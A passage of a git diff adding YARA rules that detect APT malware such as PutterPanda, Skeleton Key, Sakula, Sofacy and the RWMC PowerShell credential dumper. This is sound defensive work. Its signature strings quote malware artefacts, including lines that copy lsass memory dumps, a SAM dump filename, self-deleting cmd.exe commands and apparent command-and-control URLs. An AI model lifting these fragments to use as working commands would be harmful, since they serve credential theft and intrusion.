+		$s4 = "Invalid parameter" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.93' */ /* Goodware String - occured 69 times */
+		$s5 = "VirtualAllocEx" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.91' */ /* Goodware String - occured 95 times */
+		$s6 = "WriteProcessMemory" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.87' */ /* Goodware String - occured 131 times */
+	condition:
+		( uint16(0) == 0x5a4d and 1 of ($x*) and 4 of ($s*) ) or
+		( 1 of ($x*) and all of ($s*) )
+}
+
+rule APT_Malware_PutterPanda_MsUpdater_2 {
+	meta:
+		description = "Detects Malware related to PutterPanda - MSUpdater"
+		author = "Florian Roth"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "365b5537e3495f8ecfabe2597399b1f1226879b1"
+	strings:
+		$s0 = "winsta0\\default" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.99' */ /* Goodware String - occured 6 times */
+		$s1 = "EXPLORER.EXE" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.98' */ /* Goodware String - occured 22 times */
+		$s2 = "WNetEnumResourceA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.97' */ /* Goodware String - occured 29 times */
+		$s3 = "explorer.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.97' */ /* Goodware String - occured 31 times */
+		$s4 = "CreateProcessAsUserA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.91' */ /* Goodware String - occured 86 times */
+		$s5 = "HttpSendRequestExA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.91' */ /* Goodware String - occured 87 times */
+		$s6 = "HttpEndRequestA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.91' */ /* Goodware String - occured 91 times */
+		$s7 = "GetModuleBaseNameA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.88' */ /* Goodware String - occured 121 times */
+		$s8 = "GetModuleFileNameExA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.86' */ /* Goodware String - occured 144 times */
+		$s9 = "HttpSendRequestA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.85' */ /* Goodware String - occured 154 times */
+		$s10 = "HttpOpenRequestA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.84' */ /* Goodware String - occured 159 times */
+		$s11 = "InternetConnectA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.82' */ /* Goodware String - occured 183 times */
+		$s12 = "Process32Next" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.80' */ /* Goodware String - occured 204 times */
+		$s13 = "Process32First" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.79' */ /* Goodware String - occured 210 times */
+		$s14 = "CreatePipe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.78' */ /* Goodware String - occured 222 times */
+		$s15 = "EnumProcesses" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.73' */ /* Goodware String - occured 273 times */
+		$s16 = "LookupPrivilegeValueA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.66' */ /* Goodware String - occured 336 times */
+		$s17 = "PeekNamedPipe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.65' */ /* Goodware String - occured 347 times */
+		$s18 = "EnumProcessModules" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.59' */ /* Goodware String - occured 410 times */
+		$s19 = "PSAPI.DLL" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.58' */ /* Goodware String - occured 420 times */
+		$s20 = "SPSSSQ" fullword ascii /* score: '4.51' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 220KB and all of them
+}
+
+rule APT_Malware_PutterPanda_Gen4 {
+	meta:
+		description = "Detects Malware related to PutterPanda"
+		author = "Florian Roth"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		super_rule = 1
+		hash0 = "71a8378fa8e06bcf8ee9f019c807c6bfc58dca0c"
+		hash1 = "8fdd6e5ed9d69d560b6fdd5910f80e0914893552"
+		hash2 = "3c4a762175326b37035a9192a981f7f4cc2aa5f0"
+		hash3 = "598430b3a9b5576f03cc4aed6dc2cd8a43324e1e"
+		hash4 = "6522b81b38747f4aa09c98fdaedaed4b00b21689"
+	strings:
+		$x1 = "rz.dat" fullword ascii /* score: '10.00' */
+
+		$s0 = "Mozilla/4.0 (Compatible; MSIE 6.0;)" fullword ascii /* PEStudio Blacklist: agent */ /* score: '20.03' */
+		$s1 = "Internet connect error:%d" fullword ascii /* PEStudio Blacklist: strings */ /* score: '14.04' */
+		$s2 = "Proxy-Authorization:Basic " fullword ascii /* PEStudio Blacklist: strings */ /* score: '14.02' */
+		$s5 = "Invalid url" fullword ascii /* PEStudio Blacklist: strings */ /* score: '9.03' */
+		$s6 = "Create file failed" fullword ascii /* score: '8.04' */
+		$s7 = "myAgent" fullword ascii /* score: '8.03' */
+
+		$z1 = "%s%s%d%d" fullword ascii /* score: '8.00' */
+		$z2 = "HttpQueryInfo failed:%d" fullword ascii /* PEStudio Blacklist: strings */ /* score: '13.02' */
+		$z3 = "read file error:%d" fullword ascii /* score: '11.04' */
+		$z4 = "down file success" fullword ascii /* score: '7.04' */
+		$z5 = "kPStoreCreateInstance" fullword ascii /* score: '5.03' */
+		$z6 = "Avaliable data:%u bytes" fullword ascii /* score: '5.03' */
+		$z7 = "abe2869f-9b47-4cd9-a358-c22904dba7f7" fullword ascii /* PEStudio Blacklist: guid */ /* score: '5.00' */ /* Goodware String - occured 2 times */
+	condition:
+		filesize < 300KB and 
+		(
+			( uint16(0) == 0x5a4d and $x1 and 3 of ($s*) ) or
+			( 3 of ($s*) and 4 of ($z*) )
+		)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Florian Roth/apt_quarkspwdump.yar b/yara-mikesxrs/Florian Roth/apt_quarkspwdump.yar
new file mode 100644
index 0000000..e5bc1e5
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_quarkspwdump.yar	
@@ -0,0 +1,22 @@
+
+rule QuarksPwDump_Gen {
+	meta:
+		description = "Detects all QuarksPWDump versions"
+		author = "Florian Roth"
+		date = "2015-09-29"
+		score = 80
+		hash1 = "2b86e6aea37c324ce686bd2b49cf5b871d90f51cec24476daa01dd69543b54fa"
+		hash2 = "87e4c76cd194568e65287f894b4afcef26d498386de181f568879dde124ff48f"
+		hash3 = "a59be92bf4cce04335bd1a1fcf08c1a94d5820b80c068b3efe13e2ca83d857c9"
+		hash4 = "c5cbb06caa5067fdf916e2f56572435dd40439d8e8554d3354b44f0fd45814ab"
+		hash5 = "677c06db064ee8d8777a56a641f773266a4d8e0e48fbf0331da696bea16df6aa"
+		hash6 = "d3a1eb1f47588e953b9759a76dfa3f07a3b95fab8d8aa59000fd98251d499674"
+		hash7 = "8a81b3a75e783765fe4335a2a6d1e126b12e09380edc4da8319efd9288d88819"
+	strings:
+		$s1 = "OpenProcessToken() error: 0x%08X" fullword ascii
+		$s2 = "%d dumped" fullword ascii
+		$s3 = "AdjustTokenPrivileges() error: 0x%08X" fullword ascii
+		$s4 = "\\SAM-%u.dmp" fullword ascii
+	condition:
+		all of them
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_rocketkitten_keylogger.yar b/yara-mikesxrs/Florian Roth/apt_rocketkitten_keylogger.yar
new file mode 100644
index 0000000..bf39a8c
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_rocketkitten_keylogger.yar	
@@ -0,0 +1,33 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-09-01
+	Identifier: Rocket Kitten Keylogger
+*/
+
+rule RocketKitten_Keylogger {
+	meta:
+		description = "Detects Keylogger used in Rocket Kitten APT"
+		author = "Florian Roth"
+		reference = "https://goo.gl/SjQhlp"
+		date = "2015-09-01"
+		super_rule = 1
+		hash1 = "1c9e519dca0468a87322bebe2a06741136de7969a4eb3efda0ab8db83f0807b4"
+		hash2 = "495a15f9f30d6f6096a97c2bd8cc5edd4d78569b8d541b1d5a64169f8109bc5b"
+	strings:
+		$x1 = "\\Release\\CWoolger.pdb" ascii
+		$x2 = "WoolenLoger\\obj\\x86\\Release" ascii
+		$x3 = "D:\\Yaser Logers\\"
+		
+		$z1 = "woolger" fullword wide
+
+		$s1 = "oShellLink.TargetPath = \"" fullword ascii
+		$s2 = "wscript.exe " fullword ascii
+		$s3 = "strSTUP = WshShell.SpecialFolders(\"Startup\")" fullword ascii
+		$s4 = "[CapsLock]" fullword ascii
+	condition:
+		/* File detection */
+		(uint16(0) == 0x5a4d and filesize < 200KB and (1 of ($x*) or ($z1 and 2 of ($s*)))) or
+		/* Memory detection */
+		($z1 and all of ($s*)) 
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_ruag.yar b/yara-mikesxrs/Florian Roth/apt_ruag.yar
new file mode 100644
index 0000000..c9b02b7
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_ruag.yar	
@@ -0,0 +1,85 @@
+/*
+  Yara Rule Set
+  Author: Florian Roth
+  Date: 2016-05-23
+  Identifier: Swiss RUAG APT Case
+  Reference: https://www.govcert.admin.ch/blog/22/technical-report-about-the-ruag-espionage-case 
+*/
+
+rule RUAG_Tavdig_Malformed_Executable {
+  meta:
+    description = "Detects an embedded executable with a malformed header - known from Tavdig malware"
+    author = "Florian Roth"
+    reference = "https://goo.gl/N5MEj0"
+    score = 60
+  condition:
+    uint16(0) == 0x5a4d and /* MZ Header */
+    uint32(uint32(0x3C)) == 0x0000AD0B /* malformed PE header > 0x0bad */
+}
+
+rule RUAG_Bot_Config_File {
+  meta:
+    description = "Detects a specific config file used by malware in RUAG APT case"
+    author = "Florian Roth"
+    reference = "https://goo.gl/N5MEj0"
+    score = 60
+  strings:
+    $s1 = "[CONFIG]" ascii
+    $s2 = "name = " ascii
+    $s3 = "exe = cmd.exe" ascii
+  condition:
+    $s1 at 0 and $s2 and $s3 and filesize < 160 
+}
+
+rule RUAG_Cobra_Malware {
+  meta:
+    description = "Detects a malware mentioned in the RUAG Case called Carbon/Cobra"
+    author = "Florian Roth"
+    reference = "https://goo.gl/N5MEj0"
+    score = 60
+  strings:
+    $s1 = "\\Cobra\\Release\\Cobra.pdb" ascii
+  condition:
+    uint16(0) == 0x5a4d and $s1
+}
+
+rule RUAG_Cobra_Config_File {
+  meta:
+    description = "Detects a config text file used by malware Cobra in RUAG case"
+    author = "Florian Roth"
+    reference = "https://goo.gl/N5MEj0"
+    score = 60
+  strings:
+    $h1 = "[NAME]" ascii
+
+    $s1 = "object_id=" ascii
+    $s2 = "[TIME]" ascii fullword
+    $s3 = "lastconnect" ascii 
+    $s4 = "[CW_LOCAL]" ascii fullword
+    $s5 = "system_pipe" ascii
+    $s6 = "user_pipe" ascii
+    $s7 = "[TRANSPORT]" ascii
+    $s8 = "run_task_system" ascii
+    $s9 = "[WORKDATA]" ascii 
+    $s10 = "address1" ascii
+  condition:
+    $h1 at 0 and 8 of ($s*) and filesize < 5KB
+}
+
+rule RUAG_Exfil_Config_File {
+  meta:
+    description = "Detects a config text file used in data exfiltration in RUAG case"
+    author = "Florian Roth"
+    reference = "https://goo.gl/N5MEj0"
+    score = 60
+  strings:
+    $h1 = "[TRANSPORT]" ascii
+
+    $s1 = "system_pipe" ascii
+    $s2 = "spstatus" ascii
+    $s3 = "adaptable" ascii 
+    $s4 = "post_frag" ascii
+    $s5 = "pfsgrowperiod" ascii
+  condition:
+    $h1 at 0 and all of ($s*) and filesize < 1KB
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_rwmc_powershell_creddump.yar b/yara-mikesxrs/Florian Roth/apt_rwmc_powershell_creddump.yar
new file mode 100644
index 0000000..30b1cf6
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_rwmc_powershell_creddump.yar	
@@ -0,0 +1,39 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-08-31
+	Identifier: RWMC Powershell Credential Dumper
+*/
+
+rule Reveal_MemoryCredentials {
+	meta:
+		description = "Auto-generated rule - file Reveal-MemoryCredentials.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/giMini/RWMC/"
+		date = "2015-08-31"
+		hash = "893c26818c424d0ff549c1fbfa11429f36eecd16ee69330c442c59a82ce6adea"
+	strings:
+		$s1 = "$dumpAProcessPath = \"C:\\Windows\\temp\\msdsc.exe\"" fullword ascii
+		$s2 = "$user = Get-ADUser -Filter {UserPrincipalName -like $loginPlainText -or sAMAccountName -like $loginPlainText}" fullword ascii
+		$s3 = "Copy-Item -Path \"\\\\$computername\\\\c$\\windows\\temp\\lsass.dmp\" -Destination \"$logDirectoryPath\"" fullword ascii
+		$s4 = "if($backupOperatorsFlag -eq \"true\") {$loginPlainText = $loginPlainText + \" = Backup Operators\"}            " fullword ascii
+	condition:
+		filesize < 200KB and 1 of them
+}
+
+rule MiniDumpTest_msdsc {
+	meta:
+		description = "Auto-generated rule - file msdsc.exe"
+		author = "Florian Roth"
+		reference = "https://github.com/giMini/RWMC/"
+		date = "2015-08-31"
+		hash = "477034933918c433f521ba63d2df6a27cc40a5833a78497c11fb0994d2fd46ba"
+	strings:
+		$s1 = "MiniDumpTest1.exe" fullword wide
+		$s2 = "MiniDumpWithTokenInformation" fullword ascii
+		$s3 = "MiniDumpTest1" fullword wide
+		$s6 = "Microsoft 2008" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 20KB and all of them
+}
+
diff --git a/yara-mikesxrs/Florian Roth/apt_sakula.yar b/yara-mikesxrs/Florian Roth/apt_sakula.yar
new file mode 100644
index 0000000..3cac019
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_sakula.yar	
@@ -0,0 +1,78 @@
+rule malware_sakula_xorloop {
+  meta:
+    description = "XOR loops from Sakula malware"
+    author = "David Cannings"
+    md5 = "fc6497fe708dbda9355139721b6181e7"
+
+  strings:
+    $mz = "MZ"
+
+    // XOR decode loop (non-null, non-key byte only)
+    $opcodes_decode_loop01 = { 31 C0 8A 04 0B 3C 00 74 09 38 D0 74 05 30 D0 88 04 0B }
+
+    // XOR decode
+    $opcodes_decode_loop02 = { 8B 45 08 8D 0C 02 8A 01 84 C0 74 08 3C ?? 74 04 34 ?? 88 01 }
+
+  condition:
+    $mz at 0 and any of ($opcodes*)
+}
+
+rule malware_sakula_memory {
+  meta:
+    description = "Sakula malware - strings after unpacking (memory rule)"
+    author = "David Cannings"
+    md5 = "b3852b9e7f2b8954be447121bb6b65c3"
+
+  strings:
+    $str01 = "cmd.exe /c ping 127.0.0.1 & del \"%s\""
+    $str02 = "cmd.exe /c rundll32 \"%s\" Play \"%s\""
+    $str03 = "Mozilla/4.0+(compatible;+MSIE+8.0;+Windows+NT+5.1;+SV1)"
+    $str04 = "cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c \"%s\""
+    $str05 = "Self Process Id:%d"
+    $str06 = "%d_%d_%d_%s"
+    $str07 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)"
+    $str08 = "cmd.exe /c rundll32 \"%s\" ActiveQvaw \"%s\""
+
+    // Encode loop, operations: rol 1; xor ??;
+    $opcodes01 = { 83 F9 00 74 0E 31 C0 8A 03 D0 C0 34 ?? 88 03 49 43 EB ED }
+
+    // Encode loop, single byte XOR
+    $opcodes02 = { 31 C0 8A 04 13 32 01 83 F8 00 75 0E 83 FA 00 74 04 49 4A }
+
+  condition:
+    4 of them
+}
+
+rule malware_sakula_shellcode {
+  meta:
+    description = "Sakula shellcode - taken from decoded setup.msi but may not be unique enough to identify Sakula"
+    author = "David Cannings"
+
+  strings:
+    /*
+      55                      push    ebp
+      89 E5                   mov     ebp, esp
+      E8 00 00 00 00          call    $+5
+      58                      pop     eax
+      83 C0 06                add     eax, 6
+      C9                      leave
+      C3                      retn
+    */
+    // Get EIP technique (may not be unique enough to identify Sakula)
+    // Note this only appears in memory or decoded files
+    $opcodes01 = { 55 89 E5 E8 00 00 00 00 58 83 C0 06 C9 C3 }
+
+    /*
+      8B 5E 3C                mov     ebx, [esi+3Ch]  ; Offset to PE header
+      8B 5C 1E 78             mov     ebx, [esi+ebx+78h] ; Length of headers
+      8B 4C 1E 20             mov     ecx, [esi+ebx+20h] ; Number of data directories
+      53                      push    ebx
+      8B 5C 1E 24             mov     ebx, [esi+ebx+24h] ; Export table
+      01 F3                   add     ebx, esi
+    */
+    // Export parser
+    $opcodes02 = { 8B 5E 3C 8B 5C 1E 78 8B 4C 1E 20 53 8B 5C 1E 24 01 F3 }
+
+  condition:
+    any of them
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_scanbox_deeppanda.yar b/yara-mikesxrs/Florian Roth/apt_scanbox_deeppanda.yar
new file mode 100644
index 0000000..191b39c
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_scanbox_deeppanda.yar	
@@ -0,0 +1,32 @@
+
+rule ScanBox_Malware_Generic {
+	meta:
+		description = "Scanbox Chinese Deep Panda APT Malware http://goo.gl/MUUfjv and http://goo.gl/WXUQcP"
+		author = "Florian Roth"
+		reference1 = "http://goo.gl/MUUfjv"
+		reference2 = "http://goo.gl/WXUQcP"
+		date = "2015/02/28"
+		hash1 = "8d168092d5601ebbaed24ec3caeef7454c48cf21366cd76560755eb33aff89e9"
+		hash2 = "d4be6c9117db9de21138ae26d1d0c3cfb38fd7a19fa07c828731fa2ac756ef8d"
+		hash3 = "3fe208273288fc4d8db1bf20078d550e321d9bc5b9ab80c93d79d2cb05cbf8c2"
+	strings:
+		/* Sample 1 */
+		$s0 = "http://142.91.76.134/p.dat" fullword ascii
+		$s1 = "HttpDump 1.1" fullword ascii
+
+		/* Sample 2 */
+		$s3 = "SecureInput .exe" fullword wide
+		$s4 = "http://extcitrix.we11point.com/vpn/index.php?ref=1" fullword ascii
+
+		/* Sample 3 */
+		$s5 = "%SystemRoot%\\System32\\svchost.exe -k msupdate" fullword ascii
+		$s6 = "ServiceMaix" fullword ascii
+
+		/* Certificate and Keywords */
+		$x1 = "Management Support Team1" fullword ascii
+		$x2 = "DTOPTOOLZ Co.,Ltd.0" fullword ascii
+		$x3 = "SEOUL1" fullword ascii
+	condition:
+		( 1 of ($s*) and 2 of ($x*) ) or
+		( 3 of ($x*) )
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_seaduke_unit42.yar b/yara-mikesxrs/Florian Roth/apt_seaduke_unit42.yar
new file mode 100644
index 0000000..0deecca
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_seaduke_unit42.yar	
@@ -0,0 +1,26 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-07-14
+	Identifier: SeaDuke
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule SeaDuke_Sample {
+	meta:
+		description = "SeaDuke Malware - file 3eb86b7b067c296ef53e4857a74e09f12c2b84b666fc130d1f58aec18bc74b0d"
+		author = "Florian Roth"
+		reference = "http://goo.gl/MJ0c2M"
+		date = "2015-07-14"
+		score = 70
+		hash = "d2e570129a12a47231a1ecb8176fa88a1bf415c51dabd885c513d98b15f75d4e"
+	strings:
+		$s0 = "bpython27.dll" fullword ascii
+		$s1 = "email.header(" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "LogonUI.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "Crypto.Cipher.AES(" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "mod is NULL - %s" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 4000KB and all of them
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_shamoon.yar b/yara-mikesxrs/Florian Roth/apt_shamoon.yar
new file mode 100644
index 0000000..d377ca2
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_shamoon.yar	
@@ -0,0 +1,12 @@
+rule CrowdStrike_Shamoon_DroppedFile { 
+	meta:
+		description = "Rule to detect Shamoon malware http://goo.gl/QTxohN"
+		reference = "http://www.rsaconference.com/writable/presentations/file_upload/exp-w01-hacking-exposed-day-of-destruction.pdf"
+	strings:
+		$testn123 = "test123" wide
+		$testn456 = "test456" wide
+		$testn789 = "test789" wide
+		$testdomain = "testdomain.com" wide $pingcmd = "ping -n 30 127.0.0.1 >nul" wide
+	condition:
+		(any of ($testn*) or $pingcmd) and $testdomain
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_skeletonkey.yar b/yara-mikesxrs/Florian Roth/apt_skeletonkey.yar
new file mode 100644
index 0000000..01a6dbd
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_skeletonkey.yar	
@@ -0,0 +1,44 @@
+/* SKELETON KEY ---------------------------------------------------------------------------- */
+
+rule skeleton_key_patcher
+{
+	meta:
+		description = "Skeleton Key Patcher from Dell SecureWorks Report http://goo.gl/aAk3lN"
+		author = "Dell SecureWorks Counter Threat Unit"
+		reference = "http://goo.gl/aAk3lN"
+		date = "2015/01/13"
+		score = 70
+	strings:
+		$target_process = "lsass.exe" wide
+		$dll1 = "cryptdll.dll"
+		$dll2 = "samsrv.dll"
+
+		$name = "HookDC.dll"
+
+		$patched1 = "CDLocateCSystem"
+		$patched2 = "SamIRetrievePrimaryCredentials"
+		$patched3 = "SamIRetrieveMultiplePrimaryCredentials"
+	condition:
+		all of them
+}
+
+rule skeleton_key_injected_code
+{
+	meta:
+		description = "Skeleton Key injected Code http://goo.gl/aAk3lN"
+		author = "Dell SecureWorks Counter Threat Unit"
+		reference = "http://goo.gl/aAk3lN"
+		date = "2015/01/13"
+		score = 70
+	strings:
+		$injected = { 33 C0 85 C9 0F 95 C0 48 8B 8C 24 40 01 00 00 48 33 CC E8 4D 02 00 00 48 81 C4 58 01 00 00 C3 }
+
+		$patch_CDLocateCSystem = { 48 89 5C 24 08 48 89 74 24 10 57 48 83 EC 20 48 8B FA 8B F1 E8 ?? ?? ?? ?? 48 8B D7 8B CE 48 8B D8 FF 50 10 44 8B D8 85 C0 0F 88 A5 00 00 00 48 85 FF 0F 84 9C 00 00 00 83 FE 17 0F 85 93 00 00 00 48 8B 07 48 85 C0 0F 84 84 00 00 00 48 83 BB 48 01 00 00 00 75 73 48 89 83 48 01 00 00 33 D2 }
+
+		$patch_SamIRetrievePrimaryCredential = { 48 89 5C 24 08 48 89 6C 24 10 48 89 74 24 18 57 48 83 EC 20 49 8B F9 49 8B F0 48 8B DA 48 8B E9 48 85 D2 74 2A 48 8B 42 08 48 85 C0 74 21 66 83 3A 26 75 1B 66 83 38 4B 75 15 66 83 78 0E 73 75 0E 66 83 78 1E 4B 75 07 B8 A1 02 00 C0 EB 14 E8 ?? ?? ?? ?? 4C 8B CF 4C 8B C6 48 8B D3 48 8B CD FF 50 18 48 8B 5C 24 30 48 8B 6C 24 38 48 8B 74 24 40 48 83 C4 20 5F C3 }
+
+		$patch_SamIRetrieveMultiplePrimaryCredential  = { 48 89 5C 24 08 48 89 6C 24 10 48 89 74 24 18 57 48 83 EC 20 41 8B F9 49 8B D8 8B F2 8B E9 4D 85 C0 74 2B 49 8B 40 08 48 85 C0 74 22 66 41 83 38 26 75 1B 66 83 38 4B 75 15 66 83 78 0E 73 75 0E 66 83 78 1E 4B 75 07 B8 A1 02 00 C0 EB 12 E8 ?? ?? ?? ?? 44 8B CF 4C 8B C3 8B D6 8B CD FF 50 20 48 8B 5C 24 30 48 8B 6C 24 38 48 8B 74 24 40 48 83 C4 20 5F C3 }
+
+	condition:
+		any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Florian Roth/apt_snowglobe_babar.yar b/yara-mikesxrs/Florian Roth/apt_snowglobe_babar.yar
new file mode 100644
index 0000000..49f7310
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_snowglobe_babar.yar	
@@ -0,0 +1,36 @@
+
+/* SnowGlobe Babar ---------------------------------------------------------- */
+
+rule SNOWGLOBE_Babar_Malware {
+	meta:
+		description = "Detects the Babar Malware used in the SNOWGLOBE attacks - file babar.exe"
+		author = "Florian Roth"
+		reference = "http://motherboard.vice.com/read/meet-babar-a-new-malware-almost-certainly-created-by-france"
+		date = "2015/02/18"
+		hash = "27a0a98053f3eed82a51cdefbdfec7bb948e1f36"
+		score = 80
+	strings:
+		$mz = { 4d 5a }
+		$z0 = "admin\\Desktop\\Babar64\\Babar64\\obj\\DllWrapper" ascii fullword
+		$z1 = "User-Agent: Mozilla/4.0 (compatible; MSI 6.0;" ascii fullword
+		$z2 = "ExecQueryFailled!" fullword ascii
+		$z3 = "NBOT_COMMAND_LINE" fullword
+		$z4 = "!!!EXTRACT ERROR!!!File Does Not Exists-->[%s]" fullword
+
+		$s1 = "/s /n %s \"%s\"" fullword ascii
+		$s2 = "%%WINDIR%%\\%s\\%s" fullword ascii
+		$s3 = "/c start /wait " fullword ascii
+		$s4 = "(D;OICI;FA;;;AN)(A;OICI;FA;;;BG)(A;OICI;FA;;;SY)(A;OICI;FA;;;LS)" ascii
+
+		$x1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\" fullword ascii
+		$x2 = "%COMMON_APPDATA%" fullword ascii
+		$x4 = "CONOUT$" fullword ascii
+		$x5 = "cmd.exe" fullword ascii
+		$x6 = "DLLPATH" fullword ascii
+	condition:
+		( $mz at 0 ) and filesize < 1MB and
+		(
+			( 1 of ($z*) and 1 of ($x*) ) or
+			( 3 of ($s*) and 4 of ($x*) )
+		)
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_sofacy_dec15.yar b/yara-mikesxrs/Florian Roth/apt_sofacy_dec15.yar
new file mode 100644
index 0000000..ee9e704
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_sofacy_dec15.yar	
@@ -0,0 +1,129 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-12-04
+	Identifier: Sofacy Malware
+*/
+
+rule Sofacy_Malware_StrangeSpaces {
+	meta:
+		description = "Detetcs strange strings from Sofacy malware with many spaces"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+		date = "2015-12-04"
+	strings:
+		$s2 = "Delete Temp Folder Service                                  " fullword wide
+		$s3 = " Operating System                        " fullword wide
+		$s4 = "Microsoft Corporation                                       " fullword wide
+		$s5 = " Microsoft Corporation. All rights reserved.               " fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 50KB and 3 of them
+}
+
+rule Sofacy_Malware_AZZY_Backdoor_1 {
+	meta:
+		description = "AZZY Backdoor - Sample 1"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+		date = "2015-12-04"
+		hash = "a9dc96d45702538c2086a749ba2fb467ba8d8b603e513bdef62a024dfeb124cb"
+	strings:
+		$s0 = "advstorshell.dll" fullword wide
+		$s1 = "advshellstore.dll" fullword ascii
+		$s2 = "Windows Advanced Storage Shell Extension DLL" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 150KB and 2 of them
+}
+
+rule Sofacy_AZZY_Backdoor_Implant_1 {
+	meta:
+		description = "AZZY Backdoor Implant 4.3 - Sample 1"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+		date = "2015-12-04"
+		hash = "1bab1a3e0e501d3c14652ecf60870e483ed4e90e500987c35489f17a44fef26c"
+	strings:
+		$s1 = "\\tf394kv.dll" fullword wide
+		$s2 = "DWN_DLL_MAIN.dll" fullword ascii
+		$s3 = "?SendDataToServer_2@@YGHPAEKEPAPAEPAK@Z" ascii
+		$s4 = "?Applicate@@YGHXZ" ascii
+		$s5 = "?k@@YGPAUHINSTANCE__@@PBD@Z" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and 2 of them
+}
+
+rule Sofacy_AZZY_Backdoor_HelperDLL {
+	meta:
+		description = "Dropped C&C helper DLL for AZZY 4.3"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+		date = "2015-12-04"
+		hash = "6cd30c85dd8a64ca529c6eab98a757fb326de639a39b597414d5340285ba91c6"
+	strings:
+		$s0 = "snd.dll" fullword ascii
+		$s1 = "InternetExchange" fullword ascii
+		$s2 = "SendData"
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 2 of them
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule Sofacy_CollectorStealer_Gen1 {
+	meta:
+		description = "Generic rule to detect Sofacy Malware Collector Stealer"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+		date = "2015-12-04"
+		super_rule = 1
+		hash1 = "4e4606313c423b681e11110ca5ed3a2b2632ec6c556b7ab9642372ae709555f3"
+		hash2 = "92dcb0d8394d0df1064e68d90cd90a6ae5863e91f194cbaac85ec21c202f581f"
+	strings:
+		$s0 = "NvCpld.dll" fullword ascii
+		$s1 = "NvStop" fullword ascii
+		$s2 = "NvStart" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule Sofacy_CollectorStealer_Gen2 {
+	meta:
+		description = "File collectors / USB stealers - Generic"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+		date = "2015-12-04"
+		hash = "e917166adf6e1135444f327d8fff6ec6c6a8606d65dda4e24c2f416d23b69d45"
